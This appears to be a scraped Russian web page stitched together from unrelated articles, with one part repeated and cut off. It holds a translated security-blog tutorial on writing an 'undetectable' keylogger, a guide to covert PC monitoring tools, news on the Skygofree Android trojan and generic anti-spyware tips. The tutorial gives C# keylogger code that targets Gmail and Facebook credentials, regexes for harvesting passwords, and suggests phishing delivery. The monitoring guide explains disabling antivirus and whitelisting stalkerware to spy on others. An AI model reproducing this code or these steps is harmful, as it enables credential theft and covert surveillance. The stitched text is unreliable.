Шпионские программы для компьютера – что это такое? Вирус-шпион, или что стоит за информационными войнами.

2 июня 2016 в 12:29

Пишем свое вредоносное ПО. Часть 1: Учимся писать полностью «не обнаружимый» кейлогер

  • Блог компании Varonis Systems ,
  • Информационная безопасность ,
  • Программирование
  • Перевод
  • Recovery Mode

Хакерский мир можно условно разделить на три группы атакующих:


1) «Skids» (script kiddies) – малыши, начинающие хакеры, которые собирают известные куски кода и утилиты и используя их создают какое-то простое вредоносное ПО.


2) «Byuers» - не чистые на руку предприниматели, тинэйджеры и прочие любители острых ощущений. Покупают услуги по написанию такого ПО в интернете, собирают с ее помощью различную приватную информацию, и, возможно, перепродают ее.


3) «Black Hat Сoders» - гуру программирования и знатоки архитектур. Пишут код в блокноте и разрабатывают новые эксплоиты с нуля.


Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.


Зачем ИБ-персоналу эти сомнительные навыки?


Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.


Для этого неформального класса «hacking 101» вам необходимы небольшие знания в программировании (С# и java) и базовое понимание архитектуры Windows. Имейте ввиду, что в реальности вредоносное ПО пишется на C/C++/Delphi, чтобы не зависеть от фреймфорков.


Кейлогер


Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.


Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.



Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:


1. 2. 3. public static extern int GetAsyncKeyState(Int32 i);

Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN :


Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:


1. while (true) 2. { 3. Thread.Sleep(100); 4. for (Int32 i = 0; i < 255; i++) 5. { 6. int state = GetAsyncKeyState(i); 7. if (state == 1 || state == -32767) 8. { 9. Console.WriteLine((Keys)i); 10. 11. } 12. } 13. }

Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.


Умный кейлогер

Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.


Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.


Вторая версия кода:


1. while (true) 2. { 3. IntPtr handle = GetForegroundWindow(); 4. if (GetWindowText(handle, buff, chars) > 0) 5. { 6. string line = buff.ToString(); 7. if (line.Contains("Gmail")|| line.Contains("Facebook - Log In or Sign Up ")) 8. { 9. //проверка клавиатуры 10. } 11. } 12. Thread.Sleep(100); 13. }

Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.


Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.


Еще более умный кейлогер


Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.


Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:


1. //Ищем почтовый адрес 2. ^[\w!#$%&"*+\-/=?\^_`{|}~]+(\.[\w!#$%&"*+\-/=?\^_`{|}~]+)*@((([\-\w]+\.)+{2,4})|(({1,3}\.){3}{1,3}))$ 3. 4. 5. //Ищем пароль 6. (?=^.{6,}$)(?=.*\d)(?=.*)

Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.


Для C# это выглядит так:


1. Regex re = new Regex(@"^[\w!#$%&"*+\-/=?\^_`{|}~]+(\.[\w!#$%&"*+\-/=?\^_`{|}~]+)*@((([\-\w]+\.)+{2,4})|(({1,3}\.){3}{1,3}))$"); 2. Regex re2 = new Regex(@"(?=^.{6,}$)(?=.*\d)(?=.*)"); 3. string email = "[email protected]"; 4. string pass = "abcde3FG"; 5. Match result = re.Match(email); 6. Match result2 = re2.Match(pass);

Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.


Бесплатно и полностью не обнаружим


В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.


Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?


Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.



В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой

  • информационная безопасность
  • Добавить метки

    Порой бывает важно знать, что происходит с компьютером в Ваше отсутствие. Кто и что делает на нём, какие включает сайты и программы. Обо всём этом могут сообщить специальные программы-шпионы.

    Шпионить за кем-либо, по меньшей мере, нехорошо. А то и вовсе уголовно наказуемо (нарушение права на конфиденциальность и всё такое)... Однако, иной раз не помешает знать, например, что делает за компьютером Ваш ребёнок в Ваше отсутствие или чем заняты сотрудники Вашей организации, когда нет начальства. А, может, следят за Вами?!!

    Компьютер и мобильные устройства уже давно подвергаются опасностям со стороны всяческих вирусов. Однако, существует класс программного обеспечения, которое, не являясь вредоносным, может выполнять те же функции, что и, например, трояны - вести лог запуска приложений в системе, записывать все нажатия клавиш на клавиатуре, периодически делать скриншоты, а затем отправлять всю собранную информацию тому, кто установил и настроил слежку за пользователем.

    Как Вы поняли, речь сегодня пойдёт именно о программах-шпионах, их работе и способах обнаружения.

    Отличия от вирусов

    В сфере антивирусных решений класс шпионского ПО известен под названием "spyware" (от англ. "spy" - "шпион" и сокр. "software" - "программное обеспечение"). В принципе, некоторые из приложений, которые будут рассмотрены ниже, и воспринимаются антивирусами как вредоносные, на самом деле ими не являясь.

    В чём же разница между настоящим spyware и программами для слежения за компьютером? Основное отличие здесь в сфере применения и способе работы. Шпионские вирусы устанавливаются в систему без ведома пользователя и могут служить источником дополнительных угроз (кражи и порчи данных, например).

    Шпионские же программы для слежения за компьютером устанавливаются самим пользователем с целью узнать, чем занимается на ПК другой пользователь. При этом сам пользователь может быть осведомлён о том, что за ними ведётся наблюдение (например, так делается в некоторых учреждениях с целью учёта рабочего времени сотрудников).

    Однако, в плане принципов работы шпионские программы, по сути, ничем не отличаются от всяческих троянов, кейлоггеров или бэкдоров... Так что, можно считать их эдакими "вирусами-перебежчиками", которые перешли на "светлую сторону" и используются не столько для кражи информации с ПК, сколько для контроля его работы.

    Кстати, на Западе практика внедрения следящего ПО на компьютерах пользователей корпоративных сетей и на домашних ПК довольно распространена. Для такого рода программ даже есть отдельное название - "tracking software" ("программы отслеживания"), которое позволяет, хотя бы номинально, отделить их от вредоносного spyware.

    Клавиатурные шпионы

    Наиболее распространённым и, в определённой мере, опасным видом программ-шпионов являются кейлоггеры (от англ. "key" - "кнопка" и "logger" - "регистратор"). Причём, эти программы могут быть как самостоятельными вирусами, которые внедряются в систему, так и специально установленными утилитами слежения. Разницы между ними, по сути, нет.

    Клавиатурные шпионы предназначены для регистрации нажатий всех кнопок на клавиатуре (иногда также мышки) и сохранения данных в файл. В зависимости от принципа работы каждого конкретного кейлоггера, файл может просто храниться на локальном жёстком диске или периодически пересылаться тому, кто ведёт слежку.

    Таким образом, ничего не подозревая, мы можем "отдать" все свои пароли третьим лицам, которые могут использовать их в любых целях. Например, злоумышленник может взломать наш аккаунт, изменить пароли доступа и/или перепродать их кому-либо...

    Благо, что большинство кейлоггеров довольно быстро пеленгуются большинством антивирусов, поскольку ведут подозрительный перехват данных. Однако, если кейлоггер был установлен администратором, то, скорее всего, будет внесён в исключения и определяться не будет...

    Ярким примером бесплатного клавиатурного шпиона можно назвать SC-KeyLog :

    Данный кейлоггер, увы, определяется антивирусом ещё на стадии загрузки. Так что, если решите его ставить, временно отключайте защиту, пока не внесёте необходимые файлы в "белый список":

    • исполняемый файл программы (по умолчанию: C:\Program Files\Soft-Central\SC-KeyLog\SC-KeyLog2.exe);
    • исполняемый файл следящего модуля, который будет создан Вами в указанной папке;
    • библиотеку (DLL-файл) скрытой обработки данных, имя которой Вы тоже задаёте на этапе настроек и, которая хранится по умолчанию в папке C:\Windows\System32\.

    После установки Вы попадёте в мастер настройки. Здесь Вы можете задать почтовый адрес, на который следует слать файлы с данными, название и место сохранения исполняемых модулей перехвата нажатий клавиш, упомянутых выше, а также пароль, необходимый для открытия логов.

    Когда все настройки сделаны и файлы кейлогера внесены в список доверенных программ антивируса, всё готово для работы. Вот пример того, что Вы сможете увидеть в лог-файле:

    Как видим, SC-KeyLog отображает заголовки всех окон, с которыми работает пользователь, нажатия кнопок мыши и, собственно, клавиатуры (в том числе, служебных клавиш). При этом стоит отметить, что программа не умеет определять раскладку и выводит все тексты английскими буквами, которые ещё нужно преобразовать в удобочитаемый русскоязычный вид (например, ).

    Однако, функции кейлоггеров могут скрываться даже в популярном неспециализированном софте. Яркий пример тому - программа для изменения раскладки текста Punto Switcher :

    Одной из дополнительных функций данной программы является "Дневник", который активируется вручную и, по сути, является настоящим кейлоггером, который перехватывает и запоминает все введённые с клавиатуры данные. При этом текст сохраняется в нужной раскладке и единственное, чего не хватает, так это перехвата событий мышки и нажатий специальных клавиш клавиатуры.

    Плюс же Punto Switcher в качестве кейлоггера в том, что он не пеленгуется антивирусом и установлен на многих компьютерах. Соответственно, при необходимости, Вы можете активировать слежение без установки какого-либо софта и дополнительных ухищрений!

    Комплексные шпионы

    Кейлоггер хорош в том случае, если Вам достаточно только знать, что пользователь вводит с клавиатуры и какие программы запускает при этом. Однако, этих данных может быть недостаточно. Поэтому были созданы более сложные программные комплексы для всестороннего шпионажа. Такие шпионские комплексы могут включать:

    • кейлоггер;
    • перехватчик буфера обмена;
    • экранный шпион (делает скриншоты через заданные промежутки времени);
    • регистратор запуска и активности программ;
    • систему звуко- и видеозаписи (при наличии микрофона или веб-камеры).

    Чтобы Вы могли лучше представить как работают подобные программы, рассмотрим пару бесплатных решений данного направления. И первым из них будет бесплатная русскоязычная система наблюдения под названием (внимание, антивирусы и браузеры могут блокировать доступ к сайту!):

    К возможностям программы относятся:

    • перехват нажатий клавиш клавиатуры;
    • создание скриншотов (по умолчанию слишком часто);
    • мониторинг запущенных программ и времени их активности;
    • мониторинг активности ПК и учётной записи пользователя.

    Увы, данный комплекс для слежением за ПК также пеленгуется антивирусами, поэтому для его загрузки и установки нужно предварительно отключить защиту. Во время установки нам потребуется задать сочетание клавиш для вызова интерфейса программы, а также пароль доступа к собранным данным.После того как инсталляция завершится занесите в "белый список" антивируса всю папку со шпионом (по умолчанию C:\Documents and Settings\All Users\Application Data\Softex) и можете активировать защиту обратно.

    Softex Expert Home запустится в фоновом режиме и не будет нигде создавать ни ярлыков, ни активных значков. Обнаружить его работу можно будет только, нажав заданную Вами комбинацию горячих клавиш. В появившемся окошке введите пароль доступа, первым делом зайдите в раздел "Настройки" на вкладку "Скриншоты" и увеличьте минимальный интервал между снимками, а также интервал таймера (по умолчанию 2 и 10 сек, соответственно).

    Для слежения за домашним компьютером такого шпиона вполне достаточно. Кроме уже упомянутых выше возможностей, в Expert Home имеется функция удалённого просмотра статистики, которая позволяет смотреть логи через Интернет. Чтобы активировать её достаточно нажать кнопку подключения к серверу в разделе "Интернет-мониторинг", а затем дождаться выдачи ID-компьютера и пароля доступа, которые нужно будет ввести на сайте разработчиков :

    Стоит уточнить, что в бесплатном режиме работы статистика на сервере хранится только один день. Если Вы хотите получить доступ к более длительному периоду, то придётся заплатить от 250 (7 дней) до 1000 (30 дней) руб в месяц.

    Ещё одной бесплатной комплесной программой для наблюдения за компьютером является :

    Несмотря на то, что в названии программы фигурирует слово "кейлоггер", на самом деле возможностей в ней гораздо больше. Среди них:

    Сама программа не определяется антивирусом, однако, при активных эвристических алгоритмах пеленгуется её "подозрительная" деятельность. Поэтому лучше всего устанавливать и настраивать её с отключённой защитой.

    На этапе установки предварительная подготовка не требуется (единственное, что нужно - выбрать для кого устанавливается программа и нужно ли отображать её иконку в трее). Однако, после установки нужно внести папку программы (по умолчанию C:\WINDOWS\system32\Mpk) и её исполняемый файл MPKView.exe в исключения антивируса.

    При первом запуске откроется окно настроек. Здесь мы можем изменить язык с английского на, например, украинский (русского почему-то нет...), задать свои клавиши бычтрого вызова программы (по умолчанию ALT+CTRL+SHIFT+K) и пароль на вход в панель управления.

    Вот, собственно, и всё. Главным недостатком бесплатной версии программы является её ограниченность в некоторых аспектах слежения (доступны не все программы, например), а также отсутствие возможности отправки логов по почте или через FTP. В остальном практически всё хорошо.

    Программы-шпионы существуют не только для стационарных компьютеров, но и для мобильных платформ. Если Вы хотите знать, чем занимается Ваш ребёнок на планшете или смартфоне, можете попробовать воспользоваться бесплатной мультиплатформенной системой слежения KidLogger .

    Снифферы

    Последним, и самым коварным, средством шпионажа могут быть так называемые снифферы (от англ. "sniff" - "вынюхивать"). Данный класс программ по-научному называется "анализаторы трафика" и служит для перехвата и анализа данных, передаваемых через Интернет.

    С помощью сниффера злоумышленник может подключиться к текущей веб-сессии пользователя и пользоваться ею в своих целях от имени самого пользователя за счёт подмены пакетов данных. Если же очень не повезёт, то при помощи сниффера у Вас могут "увести" Ваши логины и пароли для входа на любые сайты, где не используется шифрование трафика.

    Стать жертвой сниффера больше всего рискуют те, кто для выхода в Интернет пользуется той или иной общественной сетью (например, точкой доступа Wi-Fi). Также под теоретической угрозой могут оказаться пользователи корпоративных сетей со слишком "предприимчивым" администратором.

    Чтобы Вы примерно поняли, что такое сниффер, предлагаю рассмотреть в лице представителя данного класса программ разработку популярной команды NirSoft :

    Данный сниффер предназначен в основном для перехвата пакетов данных на локальном ПК и служит больше для благих намерений (вроде, отладки сети). Но суть его та же, что и у хакерских инструментов.

    Человек, который разбирается в принципах передачи данных по сетевым протоколам и понимает, что за информация передаётся в том или ином пакете, может расшифровать его содержимое и, при желании, подменить, отправив на сервер модифицированный запрос. Если же соединение идёт по простому HTTP-каналу без шифрования, то хакер может увидеть Ваши пароли прямо в окне сниффера без необходимости что-то декодировать!

    Проблема усугубляется тем, что раньше существовали снифферы только для стационарных операционных систем. Сегодня же имеются, например, многочисленные снифферы для Android. Поэтому злоумышленник, анализирующий трафик может быть практически, где угодно (хоть за соседним столиком в кафешке с халявным Wi-Fi! Ярким примером снифера для Андроид можно назвать мобильную версию популярного сниффера WireShark :

    С помощью данного сниффера и программы анализа логов Shark Reader злоумышленник может перехватывать данные прямо со смартфона или планшета, подключённого к публичной точке доступа.

    Противодействие шпионам

    Вот мы и узнали, как работают основные виды программ-шпионов. И возникает закономерный вопрос: "А как же защититься от слежки самому?"... Это задача из разряда "сложно, но можно".

    Как Вы могли убедиться, практически все программы для шпионажа пеленгуются антивирусами. Поэтому первым шагом будет обновление антивирусных баз, установленного у Вас защитного ПО. Кроме того, обязательно откройте "белый список" своего антивирусного пакета и посмотрите, не разрешена ли в нём работа файлов с подозрительными именами, расположенных в системных папках.

    Если Вы используете упомянутый Punto Switcher (или его аналоги), обязательно проверьте, не включил ли кто-то без Вашего ведома "Дневник".

    В случае, если ни в настройках антивируса, ни в Punto Switcher никаких подозрительных параметров не обнаружено, можете прибегнуть к сканированию системы специальными антивирусными сканерами. Рекомендую использовать не раз проверенные лично мною программы и .

    Кроме того, можно проверить работающие в данный момент процессы при помощи специальных антивирусных диспетчеров задач. Примером такого можно назвать бесплатную утилиту . Данный инструмент позволяет не только увидеть имена и адреса всех работающих процессов, но и быстро оценить степень их вредоносности (пускай даже потенциальной).

    Тяжелее же всего противодействовать снифферам. Если полностью отказаться от использования общественных сетей Вы не можете, то единственным видом защиты может стать использование сайтов, поддерживающих зашифрованный протокол передачи данных HTTPS (сейчас он есть у большинства социальных сетей). Если же нужный Вам сайт или сервис не поддерживает шифрование, то, в крайнем случае, можно организовать защищённый туннель передачи данных, используя VPN .

    Выводы

    Как видим, установить и наладить слежку за любым компьютером не так уж и сложно. Причём, сделать это можно совершенно бесплатно при помощи небольших программ. Поэтому, если Вы пользуетесь общественными сетями или работаете за ПК, который использует несколько пользователей, то чисто теоретически есть шанс того, что за Вами уже следят.

    Излишняя беспечность и доверие может стоить Вам, как минимум, потери паролей от своих аккаунтов в соцсетях, а, в худших случаях, например, кражи денег на Ваших электронных счетах. Поэтому важно руководствоваться принципом "доверяй, но проверяй".

    Если же Вы сами решили установить слежку за чьим-то компьютером, то по-честному должны предупредить об этом пользователя. Иначе, в случае обнаружения шпионажа, Вы можете заработать много проблем на свою голову:) Поэтому, прежде чем шпионить, трижды хорошо подумайте!

    P.S. Разрешается свободно копировать и цитировать данную статью при условии указания открытой активной ссылки на источник и сохранения авторства Руслана Тертышного.

    Специалисты «Лаборатории Касперского» обнаружили вредоносную программу для мобильных устройств на платформе Android, обладающую целым спектром технических возможностей. Сотрудники компании подчеркнули, что некоторые из функций троянского вируса (зловреда) были выявлены впервые.

    «Большинство троянов похожи друг на друга: пробравшись на устройства, они воруют платёжные данные его владельца, добывают для злоумышленников криптовалюту или шифруют данные, чтобы потребовать выкуп. Но иногда встречаются экземпляры, чьи возможности заставляют вспомнить голливудские фильмы про шпионов», — говорится в посвящённом вирусу сообщении «Лаборатории Касперского».

    Там рассказали, что обнаруженная вредоносная программа Skygofree обладает 48 различными функциями, в том числе и уникальными, которые специалисты компании прежде не встречали у зловредов.

    Например, троян Skygofree может отслеживать местоположение заражённого устройства и включать запись звука в тот момент, когда его владелец находится в определённом месте.

    «Ещё один интересный приём, который освоил Skygofree, — незаметно подключать заражённый смартфон или планшет к Wi-Fi-сетям, находящимся под полным контролем злоумышленников. Даже если владелец устройства вообще отключил Wi-Fi на устройстве», — рассказали в «Лаборатории Касперского».

    Это позволяет не только анализировать трафик жертвы, но и считывать вводимые пользователем логины, пароли или номера карт. Также зловред может следить за работой целого ряда мессенджеров, включая Facebook Messenger, WhatsApp, Skype и Viber, собирая их текстовые сообщения.

    «Наконец, Skygofree может скрытно включить фронтальную камеру и сделать снимок, когда пользователь разблокирует устройство», — добавили эксперты.

    • Reuters
    • Robert Galbraith

    Специалисты компании обнаружили Skygofree в начале октября 2017 года, однако в ходе изучения зловреда выяснилось, что первоначальные версии этой программы были созданы ещё в конце 2014 года. С тех пор функциональность трояна существенно увеличилась и программа приобрела некоторые уникальные способности.

    По данным «Лаборатории Касперского», Skygofree распространялся на интернет-страницах, имитирующих сайты мобильных операторов и посвящённых оптимизации скорости мобильного интернета.

    Согласно данным компании, атаке вируса подверглись лишь несколько пользователей, причём исключительно в Италии.

    Также в ходе исследования зловреда были обнаружены несколько шпионских инструментов для Windows, однако применялась ли программа для атаки на эту операционную систему, пока неизвестно.

    «Он не атакует сотни тысяч пользователей»

    RT поговорил с антивирусным экспертом «Лаборатории Касперского» Виктором Чебышевым, который рассказал некоторые подробности о новом вирусе. По его словам, Skygofree удавалось долгое время оставаться незаметным, поскольку этот шпион-троянец использует недокументированные возможности системы и повышает свои привилегии таким образом, что все его действия «остаются за кадром».

    «Он находится почти на уровне системы, и все возможности, которые он реализует, они для пользователя абсолютно прозрачны. То есть пользователь не видит никакой активности, не слышит никаких действий, просто остаётся в неведении», — пояснил Чебышев.

    Собеседник RT уточнил, что создать подобную программу очень непросто, поэтому над ней, скорее всего, работала целая команда профессионалов высокого уровня, разбирающихся во всех особенностях операционной системы Android.

    По словам антивирусного эксперта, ещё одна особенность вируса, позволившая ему действовать незамеченным, — это узкая направленность, заточенность Skygofree под атаку конкретного пользователя.

    «Это шпион, который ориентирован не на массовый сегмент. Он не атакует сотни тысяч пользователей, выжимая из них по чуть-чуть. Это шпионское приложение, которое атакует конкретных людей», — рассказал Чебышев.

    «Его создают так, чтобы он был невидим и для жертвы, и для всех остальных вокруг. Плюс у него есть механизмы зачистки следов, которые уничтожают его после того, как он отработал», — добавил эксперт.

    • Виктор Чебышев: это шпион, который не ориентирован на массовый сегмент

    Он уточнил, что целью шпионского вируса стали устройства на платформе Android, поскольку именно эта система позволяет устанавливать приложения из сторонних источников, а не только с официального магазина приложений Google Play. Тем не менее уязвимыми для подобных зловредных программ могут стать не только Android-устройства.

    «В других ОС такая возможность отсутствует, все приложения устанавливаются из одного централизованного источника, который модерируется. И вероятность заражения, таким образом, минимальна. Однако она не исключена», — пояснил эксперт.

    «Это целая команда, можно сказать, организованная преступная группировка. Ресурсы серьёзные», — отметил Чебышев.

    Эксперт уточнил, что основной целью раскрытого троянца никогда не была атака на широкие массы людей. Программа рассчитана именно на шпионаж, слежку за конкретным человеком, в устройства которого она «подсаживается». По его словам, спектр применения этой программы может простираться от промышленного шпионажа до слежки за госслужащими.

    «Основная задача этого троянца — понимание того, что происходит с жертвой, вокруг неё, что она делает, куда она ходит, с кем разговаривает, с какими документами она взаимодействует... Он умеет снимать видеокамерой, снимать фотографии, записывать разговоры в конкретной ситуации», — рассказал сотрудник «Лаборатории Касперского».

    • Виктор Чебышев: этот троян следит за конкретными людьми

    Антивирусный эксперт уточнил, что сразу после обнаружения вируса компания обеспечила своим клиентам защиту. Говоря об угрозе обычным пользователям по всему миру, Чебышев отметил, что они никогда не были целью зловреда, но призвал не расслабляться.

    «Если говорить про масс-рынок, про нас с вами, то атака, скорее всего, нам не грозила с самого начала. Атакуют конкретных лиц. Тем не менее (массовую атаку. — RT ) не стоит списывать со счетов: то, что реализовано в этом троянце, может быть растиражировано, оно может быть распространено на огромное число пользователей», — подчеркнул собеседник RT.

    Говоря о способах противостояния вирусной угрозе, эксперт призвал всех пользователей в первую очередь не устанавливать приложения из сторонних источников. Кроме того, он посоветовал потребителям обезопасить свои мобильные устройства, установив хорошее защитное решение, которое не позволит пройти по вредоносной ссылке и заблокирует установку вирусного приложения.

    «Обязательно нужно применять меры личной гигиены своего девайса. Потому что не ровён час атакуют вас, и тогда всё будет печально. С защитным решением же всё будет хорошо», — подытожил Чебышев.

    Начало 21-го века определенно можно назвать началом настоящей, подлинной информационной эпохи. Несколько лет назад большинство людей приходило в изумление от того, насколько широкие возможности открыли так называемые «компьютеры». Удивительные истории и городские легенды о хакерах, способных украсть миллионы долларов, приличные зарплаты столичных программистов, работающих в крупных корпорациях - все это, конечно, уже не так сильно удивляет рядового обывателя, но ярко иллюстрирует могущество компьютерной техники и тех, кто в этом хорошо разбирается. Сфера информационных технологий разрослась настолько, что стала одним из ключевых элементов базовой логистики для многих предприятий.

    Но вместе с новыми полезными возможностями, вместе с новыми удобствами и способами отправки и обработки данных, появились и новые способы их кражи. В информационном пространстве эта проблема будет существовать всегда. Самое известное информационное пространство, доступное практически любому человеку без исключения - это интернет. И те возможности, которые он предлагает, те перспективы, что открываются любому посетителю всемирной паутины, таят в себе множество откровенно опасных и страшных вещей. Интернет, как многие полагают, - это не одна поисковая система, и не миллионы сайтов, которые можно просто взять и найти. Видимая часть этой сети - лишь поверхность океана, и смело можно давать гарантию, что большинству ныне живущих людей не стоит даже пытаться нырнуть поглубже. Это чревато как минимум уголовной ответственностью.

    Есть, однако, и более банальные вещи, например - вирусы. Создано их было за последние 20 лет очень и очень много. Без шуток и преувеличений можно сказать, что их количество растет каждую минуту. К слову об уголовной ответственности, за их распространение предусмотрено наказание по закону.

    Один из видов компьютерных вирусов - это вирусы-шпионы . Их название соответствует их деятельности: находясь в операционной системе в активном виде, они собирают информацию с компьютера пользователя и отправляют ее злоумышленнику, создавшему вирус.

    Многие спросят: «какую информацию?». Ответ достаточно прост. Многие люди пользуются платежными системами, работают с банковской учетной записью у себя на компьютере, совершают какие-либо транзакции, заказывают что-либо в интернет-магазинах.

    Все это и интересно тому, кто создает подобное программное обеспечение. Любая информация в интернете имеет свою цену. Похитив адрес электронной почты, злоумышленник может добавить ее в список спам-рассылки. Получив пароль к этой электронной почте, он может читать любые письма, которые туда приходят, включая регистрационные данные и личные данные. Доступ к электронному кошельку означает, что злоумышленник может распоряжаться финансами своей жертвы, и так далее, и тому подобное. Как видно, даже на компьютерах у людей есть что своровать. Поэтому сомневаться в опасности вирусов-шпионов не стоит.

    Что можно сделать, чтобы обезопасить себя от spyware:

    1. Обзавестись антивирусом. Самый банальный, самый простой и самый надежный способ. Несмотря на свою тривиальность, перед всеми остальными он обладает почти неоспоримыми преимуществами. Перед тем, как запускать новые файлы, антивирус всегда проверяет их, автоматически блокирует в случае обнаружения угрозы и позволяет пользователю проверить компьютер на наличие вирусов в любой момент.
    2. Быть более внимательным. Опять же, банальный совет, но довольно действенный. Он прост до невозможности - не скачивать что попало, не устанавливать дешевые программы, обещающие золотые горы или решение всех проблем в мире. Бесплатный сыр бывает только в одном месте, и попадаться туда должны грызуны, а не люди.
    3. Повысить свою компьютерную грамотность. Это задача не из легких, особенно для тех, кто с компьютерами не слишком хорошо ладит. Однако стоит помнить, что с каждым годом компьютеризация охватывает все больше и больше сфер нашей жизни. Чем лучше каждый из нас начнет разбираться в том, как электронные вычислительные машины работают, тем безопаснее мы будем себя чувствовать. Этот совет, впрочем, распространяется не только на компьютеры, но и на все остальное. Времена таковы, что «уметь что-то делать» понемногу уходит в прошлое, и на его место становится «уметь научиться что-то делать». Технологии развиваются слишком быстро, чтобы привыкать к ним. Один и тот же способ выполнять какую-либо задачу неизбежно устаревает, причем с бешеной скоростью. Чтобы по-настоящему обезопасить себя, свою информацию, да и шансы на успех в жизни, нужно учиться находить способы, а не учиться самим способам.
    4. Очищать компьютер от важной информации. В отличие от предыдущего совета, здесь все просто. Каждый день удалять историю посещений в браузере, не сохранять паролей, не оставаться залогиненым на сайтах банков и платежных систем. Таким образом украсть информацию будет труднее, ведь большую часть времени ее и не будет на самом компьютере.

    Простейшие меры предосторожности способны сохранить сбережения, конфиденциальную переписку и важную информацию. Ими просто не следует пренебрегать. Ведь ничего сложного в том, чтобы установить любой бесплатный антивирус себе на компьютер, нет. Даже если сделать просто это, то вероятность «попасть впросак» снижается в несколько раз.

    2 июня 2016 в 12:29

    Пишем свое вредоносное ПО. Часть 1: Учимся писать полностью «не обнаружимый» кейлогер

    • Перевод

    Хакерский мир можно условно разделить на три группы атакующих:


    1) «Skids» (script kiddies) – малыши, начинающие хакеры, которые собирают известные куски кода и утилиты и используя их создают какое-то простое вредоносное ПО.


    2) «Byuers» - не чистые на руку предприниматели, тинэйджеры и прочие любители острых ощущений. Покупают услуги по написанию такого ПО в интернете, собирают с ее помощью различную приватную информацию, и, возможно, перепродают ее.


    3) «Black Hat Сoders» - гуру программирования и знатоки архитектур. Пишут код в блокноте и разрабатывают новые эксплоиты с нуля.


    Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.


    Зачем ИБ-персоналу эти сомнительные навыки?


